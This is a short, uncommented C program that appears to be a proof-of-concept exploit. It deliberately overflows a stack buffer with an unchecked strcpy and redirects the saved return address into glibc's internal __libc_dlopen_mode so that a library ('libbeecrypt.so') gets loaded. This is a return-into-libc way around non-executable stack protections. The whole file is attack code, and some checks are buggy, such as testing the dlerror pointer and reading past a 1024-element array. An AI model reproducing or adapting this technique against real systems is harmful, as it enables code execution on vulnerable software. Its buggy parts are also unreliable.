#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

char buffer[8192];
void * handle, * mydlopen, * retaddr;
unsigned long eip, fakeebp, * tmp = (unsigned long*)buffer;

void overflow(char * field1, char * user_input)
{
  strcpy(field1, user_input);
}

int main()
{
  unsigned long shellcode[1024];

  handle = dlopen(NULL, RTLD_LAZY);
  if (!handle) {
    printf("dlopen error: %s\n", dlerror());
    return -1;
  }
  dlerror();
  mydlopen = dlsym(handle, "__libc_dlopen_mode");
  if (!dlerror) {
    printf("dlsym error\n");
    return -1;
  }
  printf("mydlopen: %p\n", mydlopen);

  retaddr = __builtin_return_address(0);
  printf("retaddr: %p\n", retaddr);

  for (eip=0; eip<16384; eip++) {
    if (shellcode[eip] == (unsigned long)retaddr)
      break;
  }
  if (16384 == eip) {
    printf("can't find saved EIP\n");
    return -1;
  }
  printf("saved EIP: %p at index %u\n", shellcode+eip, eip);

  memset(buffer, 0xFA, sizeof buffer);
  buffer[0] = 0xEB;
  buffer[1] = 0xFE;
  fakeebp = eip-1000;
  tmp[eip-1] = &shellcode[fakeebp];
  tmp[eip] = (char*)mydlopen+3;
  tmp[eip+1] = 0;
  tmp[fakeebp+1] = shellcode;
  tmp[fakeebp+2] = "libbeecrypt.so";
  tmp[fakeebp+3] = 0x01010101;
  printf("shellcode length: %x\n", strlen(buffer));
  overflow(shellcode, buffer);
  return 0;
}
